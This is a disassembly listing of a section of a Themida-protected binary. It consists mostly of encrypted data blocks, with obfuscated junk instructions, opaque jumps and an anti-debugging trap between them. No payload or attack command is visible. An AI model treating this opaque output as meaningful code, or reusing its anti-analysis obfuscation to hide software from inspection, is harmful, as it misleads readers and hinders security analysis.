		dd 20CDF9h, 0B000000h, 8D3774C0h, 0BD8B0C70h, 6AB82A1h
		dd 8B9h, 2275A600h, 8BFA7549h, 9D8B3048h, 6AB829Dh, 7F34583Bh
		dd 6BD38B15h, 0CA0304D2h, 8589018Bh, 6AB8299h, 8B04EBh
		dd 8B61C5EBh, 0AB829985h, 6ACF06h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1D0424h, 53430000h, 0BF8D11C3h, 0ACE145DFh
		dd 60291B37h, 5D1CF181h, 8166210Ch, 617504C6h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 1Ah, 99C35040h, 5778ADC5h
		dd 0E9F5C32Bh, 0Fh, 327AE946h, 3C4C85D1h, 22D9F4BFh, 8B9FFBB4h
		dd 0FE8C0h, 8FB20000h, 2E4BD9FFh, 0E65ED801h, 8CF65BF7h
		dd 0CDE5806Eh, 81CC8A5Eh, 66EFC6h, 8E0F5600h, 3, 59CA8B66h
		dd 68h,	0F85AFC00h, 0B916048Bh,	6957E368h, 8666C081h, 0E3B70E02h
		dd 3D96E881h, 0CA8B08D1h, 0B58EF081h, 0EB8061B2h, 0B70F502Fh
		dd 16048FC8h, 890FF88Bh, 0Ah, 5E9h, 242BB00h, 0EA83811Ch
		dd 0FB8B5604h, 0ACFA8159h, 0FFFFF99h, 0D85h, 1EE9F900h
		dd 0D1000000h, 65F51FB5h, 56577D9Ch, 68D6BF66h,	99E9595Fh
		dd 0B2FFFFFFh, 4677C2A0h, 0A788B74Ch, 83E93Ah, 51530000h
		dd 8B575652h, 661C245Ch, 5A4D3B81h, 68850Fh, 0B70F0000h
		dd 0D8033C43h, 503B8166h, 57850F45h, 8B000000h,	5C03785Bh
		dd 738B1C24h, 24740324h, 7B8B561Ch, 1C738B20h, 20247C03h
		dd 20247403h, 0FFC983FCh, 245C8B41h, 3178B1Ch, 83202454h
		dd 28A04C7h, 874C084h, 0E875033Ah, 0F2EB4243h, 0E075033Ah
		dd 0FE1D15Fh, 8B0F04B7h, 44038604h, 5E5F1C24h, 0C25B595Ah
		dd 0C0330008h, 0FFFFF1E9h, 0E9CA8BFFh
dword_5824B0	dd 148h, 78h, 7Ch, 80h,	84h, 88h, 8Ch, 90h, 94h, 0D8h
		dd 0DCh, 0E0h, 0E4h, 0E8h, 0ECh, 0F0h, 0F4h, 0F8h, 0FCh
		dd 100h, 104h, 108h, 10Ch, 110h, 114h, 38h dup(0)
		dd offset dword_5824B0+64h
; ---------------------------------------------------------------------------
		jmp	short loc_58264A
; ---------------------------------------------------------------------------
		dw 0A2h
		dd 8AA7858Dh, 0D78106ABh, 7D197145h, 8BE78589h,	8A0F06ABh
		dd 8, 28F0Fh, 5F570000h, 15D585C6h, 0F5406A8h, 5868FFBFh
		dd 8B8443E7h, 240481D8h, 6A1E80D1h, 0F8D9D89h, 0B5FF06A8h
		dd 6A80F95h, 5E9h, 0B3E37F00h
		db 0, 7Fh
; ---------------------------------------------------------------------------


loc_58264A:				; CODE XREF: Themida_:005825F8j
		clc
		lea	eax, [ebp+6AB6971h]
		mov	esi, 4FDBB217h
		call	eax
		mov	esi, edi
		mov	[ebp+6AB8BEBh],	eax
		jno	loc_582681
		call	near ptr loc_582678+2
		mov	edi, [ecx]
		dec	ecx
		in	eax, 0A9h	; Interrupt Controller #2, 8259A
		out	98h, al
		cmc
		push	0F51A17C9h


loc_582678:				; CODE XREF: Themida_:00582666p
		repne call near	ptr 3269B3A7h
		test	al, 6
		pop	edi


loc_582681:				; CODE XREF: Themida_:00582660j
		jmp	loc_5826C9
; ---------------------------------------------------------------------------
		xor	edx, [ebp+6A80A89h]
		push	esi
		mov	esi, [ebp+6AB8BE7h]
		mov	[esi], eax
		add	dword ptr [ebp+6AB8BE7h], 4
		pop	esi
		retn
; ---------------------------------------------------------------------------
		pusha
		lea	esi, [ebp+6AB8AA7h]
		jmp	short loc_5826B6
; ---------------------------------------------------------------------------


loc_5826A7:				; CODE XREF: Themida_:005826B9j
		push	esi
		push	0
		push	dword ptr [esi]
		call	dword ptr [ebp+6AB8BEBh]
		pop	esi
		add	esi, 4


loc_5826B6:				; CODE XREF: Themida_:005826A5j
		cmp	dword ptr [esi], 0
		jnz	short loc_5826A7
		popa
		retn
; ---------------------------------------------------------------------------
		xor	[ebp+6A83209h],	edx
		sub	[ebp+6A80D3Dh],	ecx


loc_5826C9:				; CODE XREF: Themida_:loc_582681j
		lea	eax, [ebp+6AB8C91h]
		and	ebx, 175B2FD1h
		mov	[ebp+6A83345h],	eax
		mov	[ebp+6A81ADDh],	eax
		call	sub_5826F2
		clc
		retn
; ---------------------------------------------------------------------------
		dd 8666DDE9h, 4038B94h
; ---------------------------------------------------------------------------
		push	ds
		retn

; =============== S U B	R O U T	I N E =======================================



sub_5826F2	proc near		; CODE XREF: Themida_:005826E1p
		jz	loc_582713
		pusha
		mov	[ebp+6A81531h],	eax
		call	sub_582711
		fcomp	dword ptr [edi+6AF5828Fh]
		sub	al, 27h
		popa
		lodsb
		mov	bh, 0E8h
		dec	edx
sub_5826F2	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_582711	proc near		; CODE XREF: sub_5826F2+Dp
		pop	edi
		popa


loc_582713:				; CODE XREF: sub_5826F2j
		pop	esi
		and	cx, 1ED3h
		add	esi, 5E66h
		xor	[ebp+6A82791h],	esi
		xor	edi, edi
		or	ebx, [ebp+6A81101h]
		push	dword ptr [edi+esi]
		push	edi
		movsx	edx, bx
		pop	edx
		pop	eax
		jg	loc_58274D
		jmp	loc_58274D
; ---------------------------------------------------------------------------
		db 8Ch,	69h, 0A6h
		dd 4E6C3B71h, 4F44C128h
		db 0B8h
; ---------------------------------------------------------------------------


loc_58274D:				; CODE XREF: sub_582711+25j
					; sub_582711+2Bj
		sub	eax, 4AF2C96Fh
		sub	ebx, [ebp+6A800E1h]
		sub	eax, 701DE8CEh
		mov	ecx, [ebp+6A82115h]
		sub	eax, 55D3FB18h
		mov	cl, 0D7h
		mov	[esi+edi], eax
		mov	cl, bl
		mov	dh, 1Ch
		sub	edi, 3
		call	near ptr loc_58278B+2
		imul	ebp, [edi-36h],	19h
		in	eax, 79h
		mov	ah, 88h
		sbb	ah, al
		adc	byte ptr [eax-0Bh], 0B0h
		movsd


loc_58278B:				; CODE XREF: sub_582711+66p
		repne cmp [ecx], al
sub_582711	endp ; sp-analysis failed

		mov	ch, 15h
		sub	ebp, [eax-7EB0A5FAh]
		call	dword ptr [edx-1]
		dec	dword ptr [edi]
		test	[edi+edi*8-48F00001h], ecx
		iret
; ---------------------------------------------------------------------------
		jmp	loc_5828A2
; ---------------------------------------------------------------------------
		db 0E3h, 2Ah, 0C4h
		dd 55C9749h, 0A188838Ah, 0E0A1D76h, 538FDD7Ah, 2F6D3733h
		dd 773D557Dh, 7DD57F2Dh, 3D577DD7h, 75DF6DF7h, 7DD773D5h
		dd 0EDF73D57h, 5375D55Fh, 2F6D3733h, 773D557Dh,	7DD57F2Dh
		dd 1E577DD7h, 75DF6D17h, 60206020h, 0E0E02020h,	68AC2060h
		dd 0E4A9F77Bh, 0B2D020A1h, 0B7EDA693h, 0F291B99Dh, 6020ACA3h
		dd 60206020h, 0E0E02020h, 53752060h, 2F0D0A33h,	6020557Dh
		dd 60206020h, 362BA728h, 60C950F0h, 0A1EFB6F3h,	0B4E0F796h
		dd 92B8E3A7h, 0E9B3F471h, 60F76DB9h, 60206020h,	20206020h
		dd 1ADF6DF7h, 7DD77335h, 0EDF73D57h, 5375D55Fh,	2F6D3733h
		dd 773D557Dh, 7DD57F2Dh, 3D577DD7h, 75DF6DF7h, 7DD773D5h
		dd 0EDF73D57h, 5375D55Fh, 2F6D3733h, 0A1E357Dh,	3407000Eh
		dd 0A0A3D25Dh, 1E59h, 4	dup(0)
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_5828A2:				; CODE XREF: Themida_:005827A4j
		jmp	loc_583545
; ---------------------------------------------------------------------------
		push	6AB90E2h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AB91FCh
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AB92C1h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AB939Ah
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AB943Dh
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AB94ECh
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AB9646h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AB972Ch
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AB9826h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AB9904h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		push	6AB99C0h
		jmp	loc_5517CE
; ---------------------------------------------------------------------------
		not	dword ptr [eax+19h]
		lea	esp, [edx]
		or	eax, 3751F248h
		jle	short loc_582949
		xchg	ebp, ebx
		scasb
		sbb	[edi-3FB0246Ah], dh
		mov	cl, 61h
		ror	byte ptr [ebp-460B69C7h], 6Dh
		retn	0EBA2h
; ---------------------------------------------------------------------------
		dw 0F45Fh
; ---------------------------------------------------------------------------
		push	ecx
		sbb	[edx-7D793FE6h], al
		add	si, [esi-0C23C5C0h]
		push	edx
		pop	ds
		xchg	eax, edx


loc_582949:				; CODE XREF: Themida_:0058291Fj
		cdq
		sub	[esi], al
		dec	ebx
		in	eax, dx
		mov	byte ptr [edx+5FF93459h], 16h
		mov	[eax-8DE8559h],	edx
		sub	ds:1C3EE74Ch, al
		push	ecx
		int	3		; Trap to Debugger
		popa
		hlt
; ---------------------------------------------------------------------------
		db 2Bh,	24h, 1
		dd 0EB49F248h, 40FB12B1h, 0CDA61817h, 0E9BCEF19h, 0AD86B600h
		dd 5EF69679h, 0AE7BC2FBh, 0C4544DEFh, 2771FB67h, 143D5742h
		dd 0B0D35CDCh, 3547ADF9h, 52091D49h, 0E8B7E16Dh, 9CDE0C45h
		dd 30AF1EAFh, 6D24475Fh, 0BAFED7C0h, 8E0601C9h,	2A83B601h
		dd 0AAE38289h, 0D990B31Ch, 0E9ACC22Dh, 2043DC4Fh, 73A00388h
		dd 261F6E80h, 149D36F9h, 0E3276E0Dh, 767E5F4Bh,	12D9614h
		dd 4226D444h, 38000005h, 8DFEBBD7h, 2A71A7EEh, 0AED85CFFh
		dd 0AF57D76Ah, 2BE7FF58h, 0F97E2BC7h, 26FF241Dh, 4FF84E07h
		dd 0AB056EDh, 5EC38AA9h, 0F21DEB4Dh, 0D0B60012h, 32604367h
		dd 8ABECC96h, 49222993h, 0BAFA7CEFh, 0D6B600C3h, 0CAA6B47Dh
		dd 2D14773Fh, 3Bh, 86B5E7F6h, 11B5AEE7h, 498F7h, 0D80C4EB6h
		dd 0C7B7867Bh, 32CD246h, 26585C9Eh, 0EE74B600h,	76335F40h
		dd 0D2D6F029h, 0B0B60025h, 0F9BA1187h, 77990DF9h, 0C2E814h
		dd 0BA330000h, 0A8CEAA30h, 0C96FACD0h, 218EC766h, 0D92DF80h
		dd 830F194h, 5ACB6841h,	0D234723Bh, 0AF5844C3h,	55183AA5h
		dd 912BDFC8h, 0AF584599h, 0C768C06Bh, 0F659EDA4h, 7E81E57h
		dd 188B2D64h, 60863D9Fh, 4C9326h, 40C671B6h, 38EE55C7h
		dd 0AAEE328Eh, 7DC610BCh, 0A4A7FDA1h, 0FCD590BEh, 0B7A0E98Bh
		dd 0C28FB013h, 16BADB44h, 0DA0DBA4Dh, 588079C4h, 0EC7CFF22h
		dd 0BF8001A2h, 1D000009h, 4CF7337Ah, 7B246227h,	0AD1694DDh
		dd 0DD46C481h, 2EB5F1BCh, 0ABE6878Bh, 0DF92B41Fh, 0D44E84Bh
		dd 3E7716B9h, 5CEE7CE8h, 0B603675Ch, 0FF3BE026h, 0B4FD9B5Eh
		dd 0DBAD2FDBh, 95039B6Dh, 13BC0692h, 0C6ED3970h, 0F7EFB5E7h
		dd 0F9314BBEh, 0CBAF582Dh, 0D4839660h, 678D3912h, 198B8F39h
		dd 0DE79AF58h, 47718C5Ah, 0F853B600h, 4773B3BBh, 230B600h
		dd 9420DA47h, 4D04C254h, 5B123293h, 42E358D6h, 7851183Bh
		dd 0C0D25338h, 14771FD4h, 0CF33h, 5CFF1400h, 76178815h
		dd 0E1DA9FB3h, 0DB6BBABCh, 0D77DAF57h, 57DB75B5h, 83E44FAFh
		dd 0A50AAEE3h, 496F2E86h, 6AAACBEFh, 0EB8A3571h, 6A430A2Ah
		dd 7A3F53BCh, 68CC4D3Eh, 638937D3h, 8E61D0E9h, 0FB74E28h
		dd 0AF589F0Bh, 316993F9h, 13AF589Fh, 1FE94F38h,	0B600A6CCh
		dd 3F7615B6h, 9D56A046h, 4421DD1Bh, 622F4FB0h, 59FB4C36h
		dd 1D82C4E2h, 0E7BCAB48h, 14359E4Ch, 0C162CD59h, 0E0185C8Ch
		dd 1B98EC7Ch, 8A5AAh, 2D640300h, 5C193699h, 8AC365CEh
		dd 0BAFF933Ch, 0EFA2C36Ch, 759DDC5Bh, 0A20D99D4h, 0D679CD80h
		dd 8ABFFB6h, 0E9E2C65h,	686EAADCh, 1654B603h, 135EFF29h
		dd 0A6EF6997h, 5D8DD4DDh, 238C2Ch, 0AC17FD49h, 4D56C287h
		dd 0F1155CFFh, 0D6F9314Bh, 60CBAF57h, 0ABCA5BC8h, 2C05A4E2h
		dd 0CCFA41F3h, 0FFED4FBAh, 0AE1A35B5h, 0C8614618h, 0D2DE18B4h
		dd 0C3878053h, 97058216h, 650FE2Ch, 2409F549h, 0E365B348h
		dd 0BB70B538h, 4246802Eh, 0BB70B5h, 5C7F8117h, 14997237h
		dd 257B2193h, 0CBCF79C7h, 0B9BB7025h, 0A30D449Eh, 0F517B3ACh
		dd 0C21BB322h, 309337E0h, 5DC6440Dh, 0D51773Eh,	8FE70C75h
		dd 7E0532Ch, 1B3E0000h,	0C66BD452h, 0FC9C0783h,	0A0CE71B5h
		dd 5DFEA1E5h, 6C0D8A10h, 72C885A6h, 0AEFCB1D1h,	982E6705h
		dd 0C95D1437h, 3D7D8F5Dh, 7B60369h, 5CFF5AC1h, 0AD0F8815h
		dd 304AF016h, 0AF57D6F8h, 1E1AACCAh, 0E4AF57D7h, 3E98524Bh
		dd 74BB3CA2h, 0F214DE5Ah, 0B6007E3Fh, 1D6CCB05h, 0D9073AEAh
		dd 3ABC5AE0h, 1372B804h, 0B176A255h, 0F802B803h, 0BCAC2635h
		dd 1D86240Fh, 50F3377Eh, 233F642Dh, 26474385h, 123DBCACh
		dd 51DE97B1h, 0E557D058h, 0B61EA85Eh, 8CC357B3h, 0F6D907A3h
		dd 0BAFF9459h, 0DA4B2475h, 0FCA3F5B8h, 0B9F09859h, 0BAD97AC0h
		dd 0BE97DA7Bh, 5E04A871h, 0C56CABEEh, 2B6F996Dh, 19C35780h
		dd 0BE6C453Eh, 0FF9A3D0Ch, 0FC2C07C9h, 0DF288D9Ch, 77EC7E4h
		dd 65000007h, 943F8BC2h, 0C36CBAFFh, 0F55EECA5h, 258E1C59h
		dd 76FD4904h, 0E3AECF43h, 175AFCA7h, 450C3093h,	763F5EC1h
		dd 14B6B430h, 0B6036A14h, 0E783A8EEh, 81B9C3B5h, 43AF57D7h
		dd 0E8CBFFE8h, 43A90F4Ah, 0D194BA25h, 0BDD5B4Ch, 0B60364B3h
		dd 9F00A691h, 8B71B5FCh, 0EA4E0B28h, 308E2645h,	24AC2E64h
		dd 4CCD524Bh, 78B9DBE8h, 78A59EDBh, 62CF8AA7h, 43675049h
		dd 0ABCE8A39h, 0CD365CBCh, 6CBDE2ABh, 0ABCE66A2h, 0A5F35CBCh
		dd 6183519Bh, 1114FAF3h, 0A7F03D70h, 4F33D5CEh,	41EC7D50h
		dd 664E162h, 0A7C20000h, 5AF758EEh, 288B1Fh, 3C52FD49h
		dd 0E1822D79h, 0E0911EACh, 0CE5C1132h, 3288C565h, 6CBAF391h
		dd 5DE9A0C3h, 0B1E913C9h, 93B6036Ah, 59BAEE55h,	0FE2F7439h
		dd 7C4FEDBAh, 1A1390D9h, 0CF738521h, 9EC18F56h,	0F412D850h
		dd 8EAE6B0Bh, 0BC4AEEC7h, 0B603DDF1h, 0DB2D65F7h, 93BC042Dh
		dd 0AA50FB05h, 4DEB2A49h, 349F2B04h, 52DB5811h,	1BAD59E2h
		dd 0BCAFBEBBh, 9778AE89h, 0C669BDF4h, 0BE38EEA7h, 0EB27BD37h
		dd 0BD2E8A97h, 4E0258FCh, 4750C83h, 14FF2B04h, 0B9F23F72h
		dd 8853F57Fh, 7AC35703h, 254537D1h, 684BE5D1h, 5B597h
		dd 3D741300h, 6C2946E9h, 9AD375DEh, 0CA8FA30Ch,	0FFB2D37Ch
		dd 858D2CABh, 0B21DA9E4h, 0E649DD90h, 18BB0F46h, 7EEE3C75h
		dd 6B5E5AECh, 0E624B603h, 155CFF39h, 3D741788h,	45FE5EE9h
		dd 0F5F867A1h, 80CAB5FFh, 0F908134Ah, 2AF9840h,	0ABBCF8h
		dd 0B273D8B6h, 2D6805EEh, 7332F8Bh, 33DA1477h, 6D000000h
		dd 0D80EB5E7h, 54FAEh, 7EC711B6h, 1389FCE0h, 6EB3FEA0h
		dd 4FE3443Dh, 2474A50Ah, 6AEC311Ah, 0B5FFDA2Ah,	3644ED46h
		dd 1477D55Ah, 108BDh, 5CFF8600h, 18528815h, 969357E3h
		dd 2CF325DDh, 48D9460Bh, 5EC76C25h, 650763Fh, 0D29A65DCh
		dd 449E994h, 3958E9Fh, 0CE7053B9h, 0F50D1E83h, 95BD4CBDh
		dd 72F42414h, 0AF57DD23h, 1694DD80h, 5AC78EADh,	19D94A8Ch
		dd 7FB2B99h, 57F1C5C5h,	0BB94BFAFh, 500AAA7Dh, 0ECF8B37Ah
		dd 74928B5Eh, 71A7EA8Bh, 9E2A51EBh, 0D33CB600h,	65B6FBBEh
		dd 0E4220D33h, 9C4AF123h, 0AB403D6Ah, 83A407BCh, 438561CEh
		dd 0BCAB4047h, 8D39123Dh, 0AB403F7Bh, 312A05BCh, 87C16F95h
		dd 0BCAB4083h, 0EC2CD641h, 0D6BCAB3Fh, 0CE313B7Dh, 9C3AE0ADh
		dd 0AB402E6Ah, 0CA3B14BCh, 0CEB4E4A9h, 5F89C465h, 0EC7CE7E7h
		dd 5B79CAE9h, 0B9000004h, 0F053D79Eh, 1F800643h, 49EA3079h
		dd 79DA6025h, 8A1195D8h, 470A2BE7h, 733E60C3h, 0A1E88C37h
		dd 0D29BBA65h, 0F00AD054h, 0B6036CB8h, 0FFE74C8Ah, 6997135Eh
		dd 0C00692EFh, 0DA5E19BFh, 2B7F3655h, 0EB5E70Ch, 54FAED8h
		dd 1A35B600h, 5515595h,	3352B600h, 9F29357Ah, 0B600059Bh
		dd 3C5DCE69h, 0C06D2C71h, 0FB50D05Fh, 0F84C383Ah, 0ABAB1477h
		dd 0BD000000h, 10B5F517h, 0A48FB600h, 5CFF2F74h, 76178815h
		dd 2174F63Bh, 82AF57DBh, 4A0322E3h, 4FDBB4E5h, 0D38041E4h
		dd 0C6100996h, 7A534223h, 83201960h, 85219A3Ah,	9D1843h
		dd 44E5CEB6h, 0B661AF09h, 0DE65D770h, 3C4A9E28h, 1F38BCABh
		dd 2A6708EBh, 397013FCh, 4EF15FFh, 218E2A6Fh, 757AC00h
		dd 408EB107h, 0C8AFB157h, 0C2E1EC7Ch, 37541h, 0FDB4D300h
		dd 2C6906A9h, 5A13359Eh, 8ACF63CCh, 0BFF2933Ch,	45CDEC6Bh
		dd 72DD6924h, 0A6099DD0h, 0D87BCF86h, 3EAEFCB5h, 6E9E9A2Ch
		dd 2664B603h
		dd 135EFFF9h, 40092C97h, 30BADDFAh, 0DAE1D271h,	703F79A3h
		dd 861F84CDh, 0F218AEE7h, 0D7A4A778h, 8B3D1E61h, 0AF58CF8Fh
		dd 0B7E1DA75h, 6ECE3D16h, 649731D5h, 5EB600E5h,	11ABD1F5h
		dd 0B600E519h, 40E840EBh, 0CECA7C9Ah, 90B600E4h, 0E53276h
		dd 0A72710B6h, 82DA2C8Ch, 395A365Bh, 5F5BED9Bh,	255A365Bh
		dd 4FF5110Ah, 298FC264h, 0DE688CDFh, 29DD7660h,	68417983h
		dd 0C36260DEh, 0F2F4258Ah, 0C45E859h, 0DE7E3FACh, 76374165h
		dd 0F4B7E48Dh, 0F939718Bh, 200B60DDh, 0C17BE137h, 67896236h
		dd 7587230Ch, 0B3D8789Ah, 0CD642C6h, 594194E6h,	607A3758h
		dd 7EBA441Bh, 4FDB92B1h, 0D00841E4h, 419E7F4Ah,	7B98694Ah
		dd 0D9000002h, 10B3F7BEh, 3FE02663h, 69CA5019h,	993A80C5h
		dd 0EA71B5F8h, 672A4BC7h, 93DE8023h, 0C188AC17h, 0F2BBDA45h
		dd 902A30B4h, 0B6036F98h, 0FF072C6Ah, 0F88155Ch, 0B3FA9EADh
		dd 867F3652h, 0EB0B2660h, 5EF9B5FFh, 0EB499C8h,	0F21184CCh
		dd 0AE0AF36Bh, 0DA00BB19h, 0A81039A0h, 0B8200BBCh, 0DA93B112h
		dd 12D44455h, 79367F0Eh, 76942F8Dh, 0DE8E65D4h,	94155F7Fh
		dd 5C5CEE6Bh, 267FDE82h, 0BDD7F50Dh, 3A208D66h,	302E6A9Ch
		dd 0D1C7FDEh, 1C6F4D35h, 0C553FC0Eh, 0BD69D242h, 8A3A7C0Bh
		dd 9EC46286h, 8A3A2C6Ch, 953D1686h, 868A3A95h, 0AA54C46Fh
		dd 0BD3F6581h, 9C38143Ah, 32FD3B15h, 47459713h,	0FE433788h
		dd 0EEF028D2h, 79D28689h, 0FA993A80h, 38FF15B3h, 9211229Eh
		dd 19D31h, 155CFB00h, 44012E91h, 723B5DC6h, 0A2E78B34h
		dd 0D79ABB64h, 6DA5D453h, 9A0581CCh, 0CE71B5F8h, 0A3E7AEh
		dd 1696145Dh, 7076B2D4h, 0E4CB603h, 155CFF21h, 16AD0F88h
		dd 0F20F56F0h, 5AF5B5FFh, 50B99DCCh, 19A347FCh,	0BCA807F2h
		dd 276A0BF4h, 84E44FF1h, 9AF4A642h, 0EDB7E575h,	0A8AD54ADh
		dd 4840FA45h, 3A759BA8h, 9B4F3811h, 43B7BA61h, 2AF887Ch
		dd 7AA01BB9h, 0EF2135C0h, 3EA12B82h, 0B2F6103Ah, 9082EFB2h
		dd 1E592FA7h, 0A58EB0F8h, 5AF8DB01h, 2899921Fh,	42ED4B06h
		dd 0D40E223h, 5FA996A0h, 7A5FDBA9h, 0B112A881h,	7C355392h
		dd 99C96583h, 0E8CB2638h, 0E117h, 51183F00h, 80C56AD5h
		dd 0B6FF993Ah, 0E6A3CF70h, 135EFFA0h, 0A9690897h, 0DE41C588h
		dd 0AB5F1BCh, 3CE7236Ah, 52CA5019h, 703A7E88h, 0C208B603h
		dd 9D5CFF65h, 5A1738FDh, 0F2EB3C61h, 0A80BB1ADh, 800CA87h
		dd 0DEAF57D7h, 57D76CACh, 0EDFD56AFh, 0E351D642h, 9B04A258h
		dd 0E761B7FAh, 0B6000174h, 7EBACC6Ah, 44B60001h, 83BFD30Ah
		dd 694216B3h, 901601CFh, 883E8537h, 0A8ED8162h,	645AC600h
		dd 0F28BCABh, 2B6201A2h, 3A7F14FFh, 5EE14FEh, 96872C69h
		dd 56FE9D02h, 0E28F1978h, 0A9217AA7h, 0EBC4C035h, 0DEF68446h
		dd 2E9F0C1Ah, 96DF7E85h, 0C58CAF10h, 0EEABC758h, 8C15BE41h
		dd 28609AC0h, 7B0C1ADFh, 0F95294DDh, 44DF0BFh, 0E31E5886h
		dd 0D1FF9391h, 0F6951A9Eh, 39172BFh, 0B4000000h, 58FFCBB0h
		dd 70138C11h, 92BF439h,	2042E340h, 3E5FC06Dh, 0D4752E73h
		dd 0E78B1499h, 84A47DA2h, 92BF60CDh, 68FA4AD7h,	5115h
		dd 68242C89h, 4CEBh, 68241C89h,	1FA5h, 56242C89h, 0AB8F08BEh
		dd 8BF38906h, 0C4812434h, 4, 242C8B54h,	4C481h,	0EC810000h
		dd 4, 8F241C89h, 2C8B0845h, 0E1895124h,	4C181h,	0C1810000h
		dd 4, 5C240C87h, 50241C8Bh, 405E089h, 5000000h,	4, 5C240487h
		dd 0FCE28DE9h, 2EDE72FFh
		db 0DEh
; ---------------------------------------------------------------------------


loc_583545:				; CODE XREF: Themida_:loc_5828A2j
		mov	eax, 6AB9AC6h
		add	eax, ebp
		jmp	eax
; ---------------------------------------------------------------------------
		dw 2261h
		dd 9B55E98h, 172F2755h,	791F15D6h, 794F0A35h, 2BED4A8Fh
		dd 62826E8Ch, 0E49B1BE5h, 0D2F86044h, 5677632Dh, 0E2DC74D0h
		dd 0F3BE3DF3h, 56E51697h, 90584BFBh, 0D29350CAh, 697B7260h
		dd 74BE6C4Ch, 398A79D2h, 7CEB44E9h, 19034075h, 0C6A40241h
		dd 31E9501Dh, 0C0000000h, 524A58h, 0Bh dup(0)
; ---------------------------------------------------------------------------
		jmp	loc_583B38
; ---------------------------------------------------------------------------
		db 2Fh,	8, 41h
		dd 70355AC5h, 0A6EF892Ah, 0D693BF60h, 34EEF50h,	99793887h
		dd 0CE71B5F8h, 0FAA5E1ACh, 2C97135Ah, 62FA4009h, 724A4EF8h
		dd 0F238B603h, 155CFF55h, 3B761788h, 0A52144EFh, 57D72763h
		dd 623815AFh, 5678C726h, 0FD0FBB94h, 0AF5874BDh, 6EB3AC87h
		dd 52DF96B5h, 0B4F9BCD1h, 0F9C36CD9h, 74F12953h, 78D3AF58h
		dd 0DCC6F30h, 0A1FA276Eh, 90B112C8h, 4EF15BDDh,	44DEF2Eh
		dd 11958E9Fh, 2F4F8EAEh, 7BEC3D62h, 1D0E93D6h, 426FF24h
		dd 3965E449h, 75316993h, 0D172AF58h, 0E9E14A9Ch, 70FFF4Fh
		dd 0A90296E1h, 2A630108h, 3B7E13FCh, 0DADE68F6h, 0A8AF580Bh
		dd 0B802968Fh, 0F03D7417h, 580C2F76h, 951E9DAFh, 0DFE3A985h
		dd 754C12h, 0BAD70000h,	0D6AEEA1Ch, 0BB94AF57h,	1793B27Dh
		dd 57D6B5F5h, 0BD6687AFh, 0A2111314h, 911EF720h, 57DC4F49h
		dd 753EBDAFh, 0DFD38965h, 16C12h, 0FFB70000h, 198A1752h
		dd 43953174h, 95AD2CADh, 0A3C3243Ah, 48D94AEEh,	0E4BE72Ah
		dd 7B178815h, 0F30F13Eh, 8576DD42h, 0DC1E9D1Ch,	0B31414B6h
		dd 45EEAF58h, 0B0B778D3h, 0DF40C683h, 0EED1F5BCh, 8B9C014Ch
		dd 0BA78A72Dh, 0DEC4A030h, 0FD3B279Ch, 0D75C1132h, 6764C10Bh
		dd 26759712h, 45002DF2h, 33FC59D8h, 0C0460B2Ch,	51753C5Fh
		dd 0DBF19B07h, 92068B77h, 4CC87031h, 5861FE3Ah,	726BC4AFh
		dd 9C9C2E54h, 66AF5862h, 18F86BCDh, 4E0F2B3h, 312DF5Fh
		dd 97h,	125BFAE5h, 59BA9D86h, 7012733Ah, 1334FB3Dh, 0B7FCB9D6h
		dd 0A3004DEEh, 0D375918Ah, 0AF57D6D7h, 4A982ADh, 6FB4FD9Bh
		dd 5BD895B6h, 83E4A9CAh, 8504A9E0h, 0A5088728h,	0C7686F30h
		dd 0F2933C8Ah, 9DB172BFh, 0A3C122D8h, 0B8DC45EAh, 58E218F1h
		dd 0AF57D760h, 3CAF0922h, 2489C063h, 0A97DA7Bh,	0F6852E87h
		dd 5260C1AAh, 12DFD496h, 62CD5F99h, 1282838Dh, 347486h
		dd 0FFCF0000h, 0CF7135Eh, 11F2266Bh, 78A5EC90h,	0BBC26348h
		dd 0E5CB369Ah, 5196C28Bh, 0FF052278h, 408A1752h, 0AF57D745h
		dd 737F20B7h, 12DFD687h, 166h, 59FFB900h, 73129310h, 238C3Ah
		dd 0CA0D8CA8h, 413AC29Bh, 0FE6DCBDCh, 0CAD1527Bh, 18A3E7AEh
		dd 0BDDB0FB4h, 582B0F0Bh, 0DE5AF5AFh, 3757F214h, 0CF09B600h
		dd 0B9DB8B9Bh, 2ED058CDh, 9D47EF8Dh, 0B169DD17h, 0F9261F08h
		dd 0FE4C0528h, 327F3655h, 3BEE28h, 0D0515AB6h, 0A7E3AAC9h
		dd 931059FCh, 8C3A7312h, 3BE42466h, 75DEB600h, 25C14023h
		dd 0CB428BD3h, 0AD0BF86Ch, 0A9236D36h, 0A40BD74Bh, 0B2BBD2D8h
		dd 26FB805Ah, 0F2911E9Ah, 0D3CF6FBBh, 3A147739h, 151h
		dd 0A4FE3CCh, 0FF2474A5h, 0D80EB5E7h, 723AEh, 3EB3C5B6h
		dd 0D5F03C29h, 4CE7298Fh, 9B325C9Eh, 4F90B020h,	8AA97AE9h
		dd 0B9DC47C3h, 53F2B3F0h, 5D75B5D7h, 0E44FB600h, 5AAEF83h
		dd 33F63B14h, 7312199Ah, 3238C3Ah, 60C8E14Eh, 5046329Ah
		dd 64A11477h, 7A000000h, 0DF0BB6E7h, 57D74DADh,	83B0132Fh
		dd 0B64059C6h, 2605A755h, 0DD63B579h, 0AADC54FAh, 2F58746Eh
		dd 2902FB54h, 0D4755E84h, 0D1C91F99h, 0C72F5873h, 77D8C768h
		dd 98B51ECCh, 81C86CDDh, 79A7CD17h, 5873CBCFh, 2D9EB92Fh
		dd 0CAE3400Dh, 7480986Eh, 6142AF58h, 711D8EC7h,	0C5BEEF34h
		dd 97FE41h, 0BAD90000h,	25733A59h, 5D893262h, 0A542Bh
		dd 98052EB6h, 84A56407h, 0E94AD0C9h, 409E034Ah,	9A8E01Ah
